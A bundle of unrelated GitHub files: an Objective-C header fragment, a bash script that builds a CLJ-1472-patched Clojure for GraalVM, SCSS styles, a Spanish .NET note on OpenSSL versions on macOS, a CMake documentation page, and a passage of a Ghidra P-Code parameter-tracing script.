@property (nonatomic) unsigned long long userPlayCount;
+ (bool)supportsSecureCoding;
+ (id)ubiquitousIdentifierWithItemTitle:(id)arg1 albumName:(id)arg2 itemArtistName:(id)arg3;
+ (id)ubiquitousIdentifierWithPodcastFeedURL:(id)arg1 feedGUID:(id)arg2;
+ (id)ubiquitousIdentifierWithUniqueStoreID:(long long)arg1;
+ (id)ubiquitousIdentifierWithiTunesUFeedURL:(id)arg1 feedGUID:(id)arg2;
- (void).cxx_destruct;
- (id)SBKUniversalPlaybackPositionMetadata;
- (double)bookmarkTime;
- (double)bookmarkTimestamp;
- (id)copyWithValuesFromSBKUniversalPlaybackPositionMetadata:(id)arg1;
- (id)copyWithZone:(struct _NSZone { }*)arg1;
- (void)encodeWithCoder:(id)arg1;
- (long long)foreignDatabaseEntityID;
- (bool)hasBeenPlayed;
- (id)initWithCoder:(id)arg1;
- (id)initWithPlaybackPositionDomain:(id)arg1 ubiquitousIdentifier:(id)arg2 foreignDatabaseEntityID:(long long)arg3;
- (id)playbackPositionDomain;
- (void)setBookmarkTime:(double)arg1;
- (void)setBookmarkTimestamp:(double)arg1;
- (void)setHasBeenPlayed:(bool)arg1;
- (void)setUserPlayCount:(unsigned long long)arg1;
- (id)ubiquitousIdentifier;
- (unsigned long long)userPlayCount;
@end
|
{
"pile_set_name": "Github"
}
|
#!/usr/bin/env bash
# create a clj-1472 patched version of Clojure that overcomes locking issue so that we can compile GraalVM native-image
set -eou pipefail
# constants
JIRA_ISSUE="CLJ-1472"
status-line() {
echo ""
echo -e "\033[42m \033[30;46m $1 \033[42m \033[0m"
}
error-line() {
echo ""
echo -e "\033[30;43m*\033[41m error: $1 \033[43m*\033[0m"
}
trap 'error-line "Unexpected error at line $LINENO"' ERR
check-cmd-prerequisites() {
local is_error=false
for cmd in git jet mvn clojure curl sed; do
if ! [ -x "$(command -v ${cmd})" ]; then
is_error=true
>&2 echo "! ${cmd} not found"
fi
done
set +e
if ! git extras --version &>/dev/null; then
is_error=true
>&2 echo "! git-extras not found"
fi
set -e
if [ "$is_error" = true ]; then
>&2 error-line "prerequisites check failed"
exit 1
fi
}
jira-patches() {
set -eou pipefail
local jira_issue="$1"
curl -s -L "https://clojure.atlassian.net/rest/api/latest/issue/${jira_issue}" |
jet --from json --keywordize |
jet --query '[:fields :attachment]' |
jet --query '(filter (re-find #jet/lit ".*\\.patch$" :filename))' |
jet --query '(map (select-keys [:filename :content]))'
}
jira-patch-url-for-filename() {
set -eou pipefail
local jira_patches="$1"
local jira_patch_filename="$2"
echo "${jira_patches}" |
jet --query "(first (filter (= :filename #jet/lit \"${jira_patch_filename}\")))" |
jet --query ':content' |
sed -e 's/^"//' -e 's/"$//'
}
jira-print-patch-filenames() {
local jira_patches="$1"
echo "${jira_patches}" | jet --query '(map :filename)' --pretty
}
patch-version-string() {
# version string gets new qualifier that includes sha and a representation of patch file
# Clojure build system uses ant which has some restrictions on versions, so we can't go
# all willy nilly.
set -eou pipefail
local current_full_version="$1"
local clojure_sha="$2"
local patch_filename="$3"
local version
local snapshot
local qualifier
# regex created by looking at examples here: https://octopus.com/blog/maven-versioning-explained
if [[ $current_full_version =~ ([.0-9]+)([.-]?[a-zA-Z][a-zA-Z0-9]*)?([.-]'SNAPSHOT')?$ ]]; then
version="${BASH_REMATCH[1]}"
qualifier="${BASH_REMATCH[2]}"
snapshot="${BASH_REMATCH[3]}"
fi
local new_qualifier
new_qualifier="patch_${clojure_sha}_$(basename "${patch_filename}" ".patch" |
tr - _ |
tr '[:upper:]' '[:lower:]')"
if [ -n "${qualifier}" ]; then
new_qualifier="${qualifier}_${new_qualifier}"
else
new_qualifier="-${new_qualifier}"
fi
echo "${version}${new_qualifier}${snapshot}"
}
maven() {
# shellcheck disable=SC2068
mvn --batch-mode $@
}
get-pom-version() {
set -eou pipefail
# shellcheck disable=SC2016
maven -q \
-Dexec.executable=echo \
-Dexec.args='${project.version}' \
--non-recursive \
exec:exec
}
set-pom-version() {
maven versions:set -DnewVersion="$1"
}
set-pom-property() {
local name=$1
local value=$2
maven versions:set-property -Dproperty="${name}" -DnewVersion="${value}"
}
get-pom-dep-version() {
set -eou pipefail
# must be an easier way to do this
local group_id=$1
local artifact_id=$2
local temp_file;temp_file=$(mktemp -t "clj-patcher-dep-version.XXXXXXXXXX")
maven dependency:list -DincludeArtifactIds="${artifact_id}" \
-DoutputFile="${temp_file}" -DexcludeTransitive=true -q
local version;version=$(grep "${group_id}:${artifact_id}" "${temp_file}" | cut -d : -f 4)
rm "${temp_file}"
echo "${version}"
}
set-pom-dep-version() {
local group_id=$1
local artifact_id=$2
local version=$3
maven versions:use-dep-version -Dincludes="${group_id}:${artifact_id}" \
-DdepVersion="${version}" -DforceVersion=true
}
mvn-clean-install() {
rm -rf target && maven install -Dmaven.test.skip=true
}
usage() {
echo "Usage: $(basename "$0") [options...]"
echo ""
echo " -h, --help"
echo ""
echo " -p, --patch-filename <filename>"
echo " name of patch file to download from CLJ-1472"
echo " defaults to the currently recommended clj-1472-5.patch"
echo ""
echo " -c, --clojure-commit <commit>"
echo " choose clojure commit to patch, can be sha or tag"
echo " specify HEAD for most recent commit"
echo " defaults to \"clojure-10.0.1\" tag"
echo ""
echo " -w, --work-dir <dir name>"
echo " temporary work directory"
echo " defaults to system generated temp dir"
echo " NOTE: for safety, this script will only delete what it creates under specified work dir"
}
# defaults for args
ARG_HELP=false
ARG_INVALID=false
ARG_PATCH_FILENAME="clj-1472-5.patch"
ARG_WORK_DIR_SET=false
ARG_CLOJURE_COMMIT="clojure-1.10.1"
while [[ $# -gt 0 ]]
do
ARG="$1"
case $ARG in
-h|--help)
ARG_HELP=true
shift
;;
-p|--patch-filename)
ARG_PATCH_FILENAME="$2"
shift
shift
;;
-c|--clojure-commit)
ARG_CLOJURE_COMMIT="$2"
shift
shift
;;
-w|--work-dir)
ARG_WORK_DIR="$2"
ARG_WORK_DIR_SET=true
shift
shift
;;
*)
ARG_INVALID=true
shift
;;
esac
done
if [ ${ARG_HELP} == true ]; then
usage
exit 0
fi
if [ ${ARG_INVALID} == true ]; then
error-line "invalid usage"
echo ""
usage
exit 1
fi
if [ ${ARG_WORK_DIR_SET} == false ]; then
# some versions of osx require -t?
WORK_DIR=$(mktemp -d -t "clj-patcher.XXXXXXXXXX")
else
# add patch-work dir, I am comfortable creating and deleting patch-work
# under provided dir but not provide work dir itself - too dangerous.
WORK_DIR="${ARG_WORK_DIR}/patch-work"
rm -rf "${WORK_DIR}"
mkdir -p "${WORK_DIR}"
# a fully qualified path will be turfable work regardless of current working dir
WORK_DIR=$(cd "${WORK_DIR}";pwd)
fi
trap 'rm -rf ${WORK_DIR}' EXIT
check-cmd-prerequisites
JIRA_PATCHES=$(jira-patches "${JIRA_ISSUE}")
URL_FOR_PATCH=$(jira-patch-url-for-filename "${JIRA_PATCHES}" "${ARG_PATCH_FILENAME}")
if [ "${URL_FOR_PATCH}" == "nil" ]; then
error-line "patch file \"${ARG_PATCH_FILENAME}\" not found in jira issue \"${JIRA_ISSUE}\""
echo "- patches found for ${JIRA_ISSUE}:"
jira-print-patch-filenames "${JIRA_PATCHES}"
exit 1
fi
status-line "ok, let's do it"
echo "Apply issue ${JIRA_ISSUE} patch ${ARG_PATCH_FILENAME}"
echo "Temporary work dir: ${WORK_DIR}"
echo "Patch url: ${URL_FOR_PATCH}"
cd "${WORK_DIR}"
#
# clojure clone and patch
#
status-line "clojure - cloning"
git clone https://github.com/clojure/clojure.git
cd clojure
status-line "clojure - resetting to: ${ARG_CLOJURE_COMMIT}"
git reset --hard "${ARG_CLOJURE_COMMIT}"
status-line "clojure - finding versions"
CLOJURE_SHORT_SHA=$(git rev-parse --short=8 HEAD)
CLOJURE_SPEC_VERSION=$(get-pom-dep-version "org.clojure" "spec.alpha")
SPEC_ALPHA_COMMIT="spec.alpha-${CLOJURE_SPEC_VERSION}"
echo "spec alpha commit: ${SPEC_ALPHA_COMMIT}"
# The clojure build system uses ant which is fussy about what goes into a version
# Converting dashes to underscores seems to do the trick
# Also converting to lowercase to normalize a bit
CLOJURE_VERSION="$(patch-version-string "$(get-pom-version)" "${CLOJURE_SHORT_SHA}" "${ARG_PATCH_FILENAME}")"
echo "clojure patch version: ${CLOJURE_VERSION}"
SPEC_VERSION="$(patch-version-string "${CLOJURE_SPEC_VERSION}" "${CLOJURE_SHORT_SHA}" "${ARG_PATCH_FILENAME}")"
echo "spec patch version: ${SPEC_VERSION}"
status-line "clojure - patching with: ${ARG_PATCH_FILENAME}"
curl -L -O "${URL_FOR_PATCH}"
git rebase-patch "${ARG_PATCH_FILENAME}"
status-line "clojure - setting version: ${CLOJURE_VERSION}"
set-pom-version "${CLOJURE_VERSION}"
cd ..
#
# spec build
#
status-line "spec - cloning"
git clone https://github.com/clojure/spec.alpha.git
cd spec.alpha
status-line "spec - resetting to: ${SPEC_ALPHA_COMMIT}"
git reset --hard "${SPEC_ALPHA_COMMIT}"
status-line "spec - setting version: ${SPEC_VERSION}"
set-pom-version "${SPEC_VERSION}"
status-line "spec - building"
mvn-clean-install
cd ..
#
# clojure build
#
status-line "clojure - building"
cd clojure
mvn-clean-install
cd ..
#
# spec rebuild
#
status-line "spec - rebuilding with patched clojure"
cd spec.alpha
set-pom-property "clojure.version" "${CLOJURE_VERSION}"
mvn-clean-install
cd ..
#
# cloure rebuild
#
status-line "clojure - rebuilding with rebuilt spec"
cd clojure
set-pom-dep-version "org.clojure" "spec.alpha" "${SPEC_VERSION}"
mvn-clean-install
echo ""
echo "Installed to local maven repo:"
echo "- org.clojure/clojure ${CLOJURE_VERSION}"
echo "- org.clojure/spec.alpha ${SPEC_VERSION}"
status-line "done"
|
{
"pile_set_name": "Github"
}
|
.detail-artwork {
position: absolute;
left: 0;
right: 0;
z-index: -1;
width: 100%;
height: 400px;
margin-top: -22px;
overflow: hidden;
& img {
width: 100%;
height: 100%;
object-fit: cover;
transform: scale(1.01);
filter: blur(5px) saturate(0.9) brightness(0.8);
mask-image: linear-gradient(
to bottom,
rgba(0, 0, 0, 1),
rgba(0, 0, 0, 0)
);
user-select: none;
}
}
.detail-content {
margin: 0 48px;
@media screen and (max-width: 1023px) {
margin: 0;
}
& h1, h2 {
color: white;
text-shadow: 0 1px 3px rgba(0, 0, 0, .9);
& a {
color: lighten($main, 15);
&:hover {
color: lighten($main, 17);
}
}
}
& h1 input {
background-color: transparent;
font-size: inherit;
color: inherit;
text-shadow: inherit;
width: 100%;
outline: none;
border: 1px dashed white;
border-radius: 5px;
text-decoration: underline;
padding: 4px 8px;
}
& h2 {
margin-bottom: 18px;
}
& .box {
color: rgb(23, 23, 24);
margin-top: 0;
margin-bottom: 0;
display: flex;
flex-wrap: wrap-reverse;
&.has-buttons-top {
border-top-left-radius: 0;
border-top-right-radius: 0;
}
&.has-buttons-bottom {
border-bottom-left-radius: 0;
border-bottom-right-radius: 0;
}
& .left {
flex: 1;
display: flex;
flex-direction: column;
& .metadata {
display: flex;
flex-wrap: wrap;
margin-bottom: 12px;
& .col {
&:not(:last-child) {
margin-right: 1.5em;
}
}
& td {
vertical-align: baseline;
margin-bottom: 4px;
&.hidden {
opacity: 0.3;
}
&:first-child {
padding-right: 0.7em;
color: rgba(0, 0, 0, 0.5);
text-transform: uppercase;
font-size: 0.7em;
}
}
}
& .description {
flex-grow: 1;
margin-bottom: 12px;
& textarea {
font-size: 1rem;
resize: none;
width: 100%;
padding: 8px;
border: 1px dashed currentColor;
border-radius: 5px;
outline: none;
}
}
}
& .right {
margin-left: 20px;
text-align: right;
}
}
& .buttons {
$border: 1px solid rgba(0, 0, 0, .1);
width: 100%;
display: flex;
border-radius: 6px;
border-top-left-radius: 0;
border-top-right-radius: 0;
background-color: white;
transition: background-color 100ms ease;
box-shadow:
rgba(10, 10, 10, 0.1) 0px 2px 3px,
rgba(10, 10, 10, 0.1) 0px 0px 0px 1px;
&.top {
border-radius: 6px;
border-bottom-left-radius: 0;
border-bottom-right-radius: 0;
&:not(:last-child) {
margin-bottom: 0;
}
& a, button {
&:first-child {
border-top-left-radius: 6px;
border-bottom-left-radius: 0;
}
&:last-child {
border-top-right-radius: 6px;
border-bottom-right-radius: 0;
}
}
}
& button {
appearance: none;
border: none;
background-color: transparent;
border-radius: 0;
outline: none;
font-size: 1rem;
cursor: pointer;
&:hover {
background-color: rgba(0, 0, 0, .05);
}
&:active {
background-color: rgba(0, 0, 0, .1);
}
}
& a, button {
color: $text;
padding: 14px 20px;
flex-grow: 1;
flex-basis: 0;
flex-shrink: 0;
position: relative;
display: flex;
justify-content: center;
align-items: center;
&:first-child {
border-bottom-left-radius: 6px;
}
&:last-child {
border-bottom-right-radius: 6px;
}
&:not(:last-child) {
border-right: $border;
}
&:hover {
background-color: rgba(0, 0, 0, .05);
}
&:active {
background-color: rgba(0, 0, 0, .1);
}
&.loading {
color: transparent;
&::after {
content: '';
position: absolute;
left: calc(50% - (1em / 2));
top: calc(50% - (1em / 2));
display: block;
width: 1em;
height: 1em;
border: 2px solid $text;
border-radius: 100%;
border-right-color: transparent;
border-top-color: transparent;
animation: spinAround .5s infinite linear;
}
}
&.disabled {
pointer-events: none;
}
}
}
}
|
{
"pile_set_name": "Github"
}
|
---
ms.openlocfilehash: a4476fbff572c004632153e5a98812c241efca57
ms.sourcegitcommit: 0926684d8d34f4c6b5acce58d2193db093cb9cf2
ms.translationtype: HT
ms.contentlocale: es-ES
ms.lasthandoff: 05/20/2020
ms.locfileid: "83721526"
---
### <a name="openssl-versions-on-macos"></a>Versiones de OpenSSL en macOS
Ahora, los runtime de .NET Core 3.0 y versiones posteriores en macOS prefieren las versiones de OpenSSL 1.1.x a las versiones de OpenSSL 1.0.x en los tipos <xref:System.Security.Cryptography.AesCcm>, <xref:System.Security.Cryptography.AesGcm>, <xref:System.Security.Cryptography.DSAOpenSsl>, <xref:System.Security.Cryptography.ECDiffieHellmanOpenSsl>, <xref:System.Security.Cryptography.ECDsaOpenSsl>, <xref:System.Security.Cryptography.RSAOpenSsl> y <xref:System.Security.Cryptography.SafeEvpPKeyHandle>.
Ahora, el runtime de .NET Core 2.1 es compatible con las versiones de OpenSSL 1.1.x, pero siguen siendo preferibles las versiones de OpenSSL 1.0.x.
#### <a name="change-description"></a>Descripción del cambio
Antes, el runtime de .NET Core usaba versiones de OpenSSL 1.0.x en macOS para en los tipos que interactúan con OpenSSL. La versión más reciente de OpenSSL 1.0.x, OpenSSL 1.0.2, ya no se admite. Para mantener los tipos que usan OpenSSL en versiones compatibles de OpenSSL, los runtime de .NET Core 3.0 y versiones posteriores usan ahora las versiones más recientes de OpenSSL en macOS.
Con este cambio, el comportamiento de los runtime de .NET Core en macOS es el siguiente:
- Los runtime de .NET Core 3.0 y versiones posteriores usan OpenSSL 1.1.x (si está disponible) y revierten a OpenSSL 1.0.x solo si no hay disponible ninguna versión 1.1.x.
En el caso de los autores de llamada que usen los tipos de interoperabilidad de OpenSSL con P/Invoke personalizados, siga las instrucciones de los comentarios sobre <xref:System.Security.Cryptography.SafeEvpPKeyHandle.OpenSslVersion?displayProperty=nameWithType>. La aplicación se puede bloquear si no se comprueba el valor de <xref:System.Security.Cryptography.SafeEvpPKeyHandle.OpenSslVersion>.
- Los runtime de .NET Core 2.1 usan OpenSSL 1.0.x (si está disponible) y revierten a OpenSSL 1.1.x si no hay disponible ninguna versión 1.0.x.
El runtime 2.1 prefiere la versión anterior de OpenSSL porque la propiedad <xref:System.Security.Cryptography.SafeEvpPKeyHandle.OpenSslVersion?displayProperty=nameWithType> no existe en .NET Core 2.1, por lo que la versión de OpenSSL no se puede determinar de forma confiable en tiempo de ejecución.
#### <a name="version-introduced"></a>Versión introducida
- .NET Core 2.1.16
- .NET Core 3.0.3
- .NET Core 3.1.2
#### <a name="recommended-action"></a>Acción recomendada
- Desinstale la versión 1.0.2 de OpenSSL si ya no la necesita.
- Instale OpenSSL 1.1.x si usa los tipos <xref:System.Security.Cryptography.AesCcm>, <xref:System.Security.Cryptography.AesGcm>, <xref:System.Security.Cryptography.DSAOpenSsl>, <xref:System.Security.Cryptography.ECDiffieHellmanOpenSsl>, <xref:System.Security.Cryptography.ECDsaOpenSsl>, <xref:System.Security.Cryptography.RSAOpenSsl> o <xref:System.Security.Cryptography.SafeEvpPKeyHandle>.
- Si usa los tipos de interoperabilidad de OpenSSL con P/Invoke personalizados, siga las instrucciones de los comentarios sobre <xref:System.Security.Cryptography.SafeEvpPKeyHandle.OpenSslVersion?displayProperty=nameWithType>.
#### <a name="category"></a>Categoría
Bibliotecas de Core .NET
#### <a name="affected-apis"></a>API afectadas
- <xref:System.Security.Cryptography.AesCcm?displayProperty=fullName>
- <xref:System.Security.Cryptography.AesGcm?displayProperty=fullName>
- <xref:System.Security.Cryptography.DSAOpenSsl?displayProperty=fullName>
- <xref:System.Security.Cryptography.ECDiffieHellmanOpenSsl?displayProperty=fullName>
- <xref:System.Security.Cryptography.ECDsaOpenSsl?displayProperty=fullName>
- <xref:System.Security.Cryptography.RSAOpenSsl?displayProperty=fullName>
- <xref:System.Security.Cryptography.SafeEvpPKeyHandle?displayProperty=fullName>
<!--
#### Affected APIs
- `T:System.Security.Cryptography.AesCcm``
- `T:System.Security.Cryptography.AesGcm`
- `T:System.Security.Cryptography.DSAOpenSsl`
- `T:System.Security.Cryptography.ECDiffieHellmanOpenSsl`
- `T:System.Security.Cryptography.ECDsaOpenSsl`
- `T:System.Security.Cryptography.RSAOpenSsl`
- `T:System.Security.Cryptography.SafeEvpPKeyHandle`
-->
|
{
"pile_set_name": "Github"
}
|
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="X-UA-Compatible" content="IE=Edge" />
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>fltk_wrap_ui — CMake 3.14.5 Documentation</title>
<link rel="stylesheet" href="../_static/cmake.css" type="text/css" />
<link rel="stylesheet" href="../_static/pygments.css" type="text/css" />
<script type="text/javascript" src="../_static/documentation_options.js"></script>
<script type="text/javascript" src="../_static/jquery.js"></script>
<script type="text/javascript" src="../_static/underscore.js"></script>
<script type="text/javascript" src="../_static/doctools.js"></script>
<link rel="shortcut icon" href="../_static/cmake-favicon.ico"/>
<link rel="index" title="Index" href="../genindex.html" />
<link rel="search" title="Search" href="../search.html" />
<link rel="next" title="get_source_file_property" href="get_source_file_property.html" />
<link rel="prev" title="export" href="export.html" />
</head><body>
<div class="related" role="navigation" aria-label="related navigation">
<h3>Navigation</h3>
<ul>
<li class="right" style="margin-right: 10px">
<a href="../genindex.html" title="General Index"
accesskey="I">index</a></li>
<li class="right" >
<a href="get_source_file_property.html" title="get_source_file_property"
accesskey="N">next</a> |</li>
<li class="right" >
<a href="export.html" title="export"
accesskey="P">previous</a> |</li>
<li>
<img src="../_static/cmake-logo-16.png" alt=""
style="vertical-align: middle; margin-top: -2px" />
</li>
<li>
<a href="https://cmake.org/">CMake</a> »
</li>
<li>
<a href="../index.html">3.14.5 Documentation</a> »
</li>
<li class="nav-item nav-item-1"><a href="../manual/cmake-commands.7.html" accesskey="U">cmake-commands(7)</a> »</li>
</ul>
</div>
<div class="document">
<div class="documentwrapper">
<div class="bodywrapper">
<div class="body" role="main">
<div class="section" id="fltk-wrap-ui">
<span id="command:fltk_wrap_ui"></span><h1>fltk_wrap_ui<a class="headerlink" href="#fltk-wrap-ui" title="Permalink to this headline">¶</a></h1>
<p>Create FLTK user interfaces Wrappers.</p>
<div class="highlight-cmake notranslate"><div class="highlight"><pre><span></span><span class="nf">fltk_wrap_ui(</span><span class="nb">resultingLibraryName</span><span class="w"> </span><span class="nb">source1</span><span class="w"></span>
<span class="w"> </span><span class="nb">source2</span><span class="w"> </span><span class="p">...</span><span class="w"> </span><span class="nb">sourceN</span><span class="w"> </span><span class="nf">)</span><span class="w"></span>
</pre></div>
</div>
<p>Produce .h and .cxx files for all the .fl and .fld files listed. The
resulting .h and .cxx files will be added to a variable named
<code class="docutils literal notranslate"><span class="pre">resultingLibraryName_FLTK_UI_SRCS</span></code> which should be added to your
library.</p>
</div>
</div>
</div>
</div>
<div class="sphinxsidebar" role="navigation" aria-label="main navigation">
<div class="sphinxsidebarwrapper">
<h4>Previous topic</h4>
<p class="topless"><a href="export.html"
title="previous chapter">export</a></p>
<h4>Next topic</h4>
<p class="topless"><a href="get_source_file_property.html"
title="next chapter">get_source_file_property</a></p>
<div role="note" aria-label="source link">
<h3>This Page</h3>
<ul class="this-page-menu">
<li><a href="../_sources/command/fltk_wrap_ui.rst.txt"
rel="nofollow">Show Source</a></li>
</ul>
</div>
<div id="searchbox" style="display: none" role="search">
<h3>Quick search</h3>
<div class="searchformwrapper">
<form class="search" action="../search.html" method="get">
<input type="text" name="q" />
<input type="submit" value="Go" />
<input type="hidden" name="check_keywords" value="yes" />
<input type="hidden" name="area" value="default" />
</form>
</div>
</div>
<script type="text/javascript">$('#searchbox').show(0);</script>
</div>
</div>
<div class="clearer"></div>
</div>
<div class="related" role="navigation" aria-label="related navigation">
<h3>Navigation</h3>
<ul>
<li class="right" style="margin-right: 10px">
<a href="../genindex.html" title="General Index"
>index</a></li>
<li class="right" >
<a href="get_source_file_property.html" title="get_source_file_property"
>next</a> |</li>
<li class="right" >
<a href="export.html" title="export"
>previous</a> |</li>
<li>
<img src="../_static/cmake-logo-16.png" alt=""
style="vertical-align: middle; margin-top: -2px" />
</li>
<li>
<a href="https://cmake.org/">CMake</a> »
</li>
<li>
<a href="../index.html">3.14.5 Documentation</a> »
</li>
<li class="nav-item nav-item-1"><a href="../manual/cmake-commands.7.html" >cmake-commands(7)</a> »</li>
</ul>
</div>
<div class="footer" role="contentinfo">
© Copyright 2000-2019 Kitware, Inc. and Contributors.
Created using <a href="http://sphinx-doc.org/">Sphinx</a> 1.7.2.
</div>
</body>
</html>
|
{
"pile_set_name": "Github"
}
|
# Trace function call parameters value using Ghidra P-Code.
# @author dark-lbp
# @category
# @keybinding
# @menupath
# @toolbar
from ghidra.app.decompiler import DecompInterface, DecompileOptions, DecompileResults
from ghidra.program.model.pcode import HighParam, PcodeOp, PcodeOpAST
from ghidra.program.model.address import GenericAddress
import logging
import struct
debug = True
# debug = False
process_is_64bit = False
# Init Default Logger
logger = logging.getLogger('Default_logger')
logger.setLevel(logging.INFO)
consolehandler = logging.StreamHandler()
console_format = logging.Formatter('[%(levelname)-8s][%(module)s.%(funcName)s] %(message)s')
consolehandler.setFormatter(console_format)
logger.addHandler(consolehandler)
if debug:
logger.setLevel(logging.DEBUG)
endian = currentProgram.domainFile.getMetadata()[u'Endian']
if endian == u'Big':
is_big_endian = True
else:
is_big_endian = False
process_type = currentProgram.domainFile.getMetadata()[u'Processor']
if process_type.endswith(u'64'):
process_is_64bit = True
decompile_function_cache = {}
def is_address_in_current_program(address):
for block in currentProgram.memory.blocks:
if address.offset in range(block.getStart().offset,block.getEnd().offset):
return True
return False
def get_signed_value(input_data):
pack_format = ""
if is_big_endian:
pack_format += ">"
else:
pack_format += "<"
if process_is_64bit:
pack_format += "L"
else:
pack_format += "I"
logger.debug("type(input_data): {}".format(type(input_data)))
data = struct.pack(pack_format.upper(), input_data.offset)
signed_data = struct.unpack(pack_format.lower(), data)[0]
return signed_data
class FlowNode(object):
def __init__(self, var_node, logger=logger):
""" Used to get VarNode value
:param var_node:
"""
self.var_node = var_node
if logger is None:
self.logger = logging.getLogger('FlowNode_logger')
self.logger.setLevel(logging.INFO)
consolehandler = logging.StreamHandler()
console_format = logging.Formatter('[%(levelname)-8s][%(module)s.%(funcName)s] %(message)s')
consolehandler.setFormatter(console_format)
self.logger.addHandler(consolehandler)
else:
self.logger = logger
def get_value(self):
""" Get VarNode value depend on it's type.
:return:
"""
if self.var_node.isAddress():
self.logger.debug("Var_node isAddress")
return self.var_node.getAddress()
elif self.var_node.isConstant():
self.logger.debug("Var_node isConstant")
return self.var_node.getAddress()
elif self.var_node.isUnique():
self.logger.debug("Var_node isUnique")
return calc_pcode_op(self.var_node.getDef())
elif self.var_node.isRegister():
self.logger.debug("Var_node isRegister")
return calc_pcode_op(self.var_node.getDef())
elif self.var_node.isPersistant():
self.logger.debug("Var_node isPersistant")
# DO: Handler this later
return
elif self.var_node.isAddrTied():
self.logger.debug("Var_node isAddrTied")
return calc_pcode_op(self.var_node.getDef())
elif self.var_node.isUnaffected():
self.logger.debug("Var_node isUnaffected")
# DO: Handler this later
return
else:
self.logger.debug("self.var_node: {}".format(self.var_node))
def calc_pcode_op(pcode):
logger.debug("pcode: {}, type: {}".format(pcode, type(pcode)))
if isinstance(pcode, PcodeOpAST):
opcode = pcode.getOpcode()
if opcode == PcodeOp.PTRSUB:
logger.debug("PTRSUB")
var_node_1 = FlowNode(pcode.getInput(0))
var_node_2 = FlowNode(pcode.getInput(1))
value_1 = var_node_1.get_value()
value_2 = var_node_2.get_value()
if isinstance(value_1, GenericAddress) and isinstance(value_2, GenericAddress):
return value_1.offset + value_2.offset
else:
return None
elif opcode == PcodeOp.CAST:
logger.debug("CAST")
var_node_1 = FlowNode(pcode.getInput(0))
value_1 = var_node_1.get_value()
if isinstance(value_1, GenericAddress):
return value_1.offset
else:
return None
elif opcode == PcodeOp.PTRADD:
logger.debug("PTRADD")
var_node_0 = FlowNode(pcode.getInput(0))
var_node_1 = FlowNode(pcode.getInput(1))
var_node_2 = FlowNode(pcode.getInput(2))
try:
value_0_point = var_node_0.get_value()
logger.debug("value_0_point: {}".format(value_0_point))
if not isinstance(value_0_point, GenericAddress):
return
value_0 = toAddr(getInt(value_0_point))
logger.debug("value_0: {}".format(value_0))
logger.debug("type(value_0): {}".format(type(value_0)))
value_1 = var_node_1.get_value()
logger.debug("value_1: {}".format(value_1))
logger.debug("type(value_1): {}".format(type(value_1)))
if not isinstance(value_1, GenericAddress):
logger.debug("value_1 is not GenericAddress!")
return
value_1 = get_signed_value(value_1)
# DO: Handle input2 later
value_2 = var_node_2.get_value()
logger.debug("value_2: {}".format(value_2))
logger.debug("type(value_2): {}".format(type(value_2)))
if not isinstance(value_2, GenericAddress):
return
output_value = value_0.add(value_1)
logger.debug("output_value: {}".format(output_value))
return output_value.offset
except Exception as err:
logger.debug("Got something wrong with calc PcodeOp.PTRADD : {}".format(err))
return None
except:
logger.error("Got something wrong with calc PcodeOp.PTRADD ")
return None
elif opcode == PcodeOp.INDIRECT:
logger.debug("INDIRECT")
# DO: Need find a way to handle INDIRECT operator.
return None
elif opcode == PcodeOp.MULTIEQUAL:
logger.debug("MULTIEQUAL")
# DO: Add later
return None
elif opcode == PcodeOp.COPY:
logger.debug("COPY")
logger.debug("input_0: {}".format(pcode.getInput(0)))
logger.debug("Output: {}".format(pcode.getOutput()))
var_node_0 = FlowNode(pcode.getInput(0))
value_0 = var_node_0.get_value()
return value_0
else:
logger.debug("Found Unhandled opcode: {}".format(pcode))
return None
class FunctionAnalyzer(object):
def __init__(self, function, timeout=30, logger=logger):
"""
:param function: Ghidra function object.
:param timeout: timeout for decompile.
:param logger: logger.
"""
self.function = function
self.timeout = timeout
if logger is None:
self.logger = logging.getLogger('target')
self.logger.setLevel(logging.INFO)
consolehandler = logging.StreamHandler()
console_format = logging.Formatter('[%(levelname)-8s][%(module)s.%(funcName)s] %(message)s')
consolehandler.setFormatter(console_format)
self.logger.addHandler(consolehandler)
else:
self.logger = logger
self.hfunction = None
self.call_pcodes = {}
self.prepare()
def prepare(self):
self.hfunction = self.get_hfunction()
self.get_all_call_pcode()
def get_hfunction(self):
decomplib = DecompInterface()
decomplib.openProgram(currentProgram)
timeout = self.timeout
dRes = decomplib.decompileFunction(self.function, timeout, getMonitor())
hfunction = dRes.getHighFunction()
return hfunction
def get_function_pcode(self):
if self.hfunction:
try:
ops = self.hfunction.getPcodeOps()
except:
return None
return ops
def print_pcodes(self):
ops = self.get_function_pcode()
while ops.hasNext():
pcodeOpAST = ops.next()
print(pcodeOpAST)
opcode = pcodeOpAST.getOpcode()
print("Opcode: {}".format(opcode))
if opcode == PcodeOp.CALL:
print("We found Call at 0x{}".format(pcodeOpAST.getInput(0).PCAddress))
call_addr = pcodeOpAST.getInput(0).getAddress()
print("Calling {}(0x{}) ".format(getFunctionAt(call_addr), call_addr))
inputs = pcodeOpAST.getInputs()
for i in range(len(inputs)):
parm = inputs[i]
print("parm{}: {}".format(i, parm))
def find_perv_call_address(self, address):
try:
address_index = sorted(self.call_pcodes.keys()).index(address)
except Exception as err:
return
if address_index > 0:
perv_address = sorted(self.call_pcodes.keys())[address_index - 1]
return self.call_pcodes[perv_address]
def find_next_call_address(self, address):
try:
address_index = sorted(self.call_pcodes.keys()).index(address)
except Exception as err:
return
if address_index < len(self.call_pcodes) - 1:
next_address = sorted(self.call_pcodes.keys())[address_index + 1]
return self.call_pcodes[next_address]
def get_all_call_pcode(self):
ops = self.get_function_pcode()
while ops.hasNext():
pcodeOpAST = ops.next()
opcode = pcodeOpAST.getOpcode()
if opcode in [PcodeOp.CALL, PcodeOp.CALLIND]:
op_call_addr = pcodeOpAST.getInput(0).PCAddress
self.call_pcodes[op_call_addr] = pcodeOpAST
def get_call_pcode(self, call_address):
# DO: Check call_address is in function.
if call_address in self.call_pcodes:
return self.call_pcodes[call_address]
return
def analyze_call_parms(self, call_address):
parms = {}
# DO: Check call_address is in function.
pcodeOpAST = self.get_call_pcode(call_address)
if pcodeOpAST:
self.logger.debug("We found target call at 0x{} in function {}(0x{})".format(
pcodeOpAST.getInput(0).PCAddress, self.function.name, hex(self.function.entryPoint.offset)))
opcode = pcodeOpAST.getOpcode()
if opcode == PcodeOp.CALL:
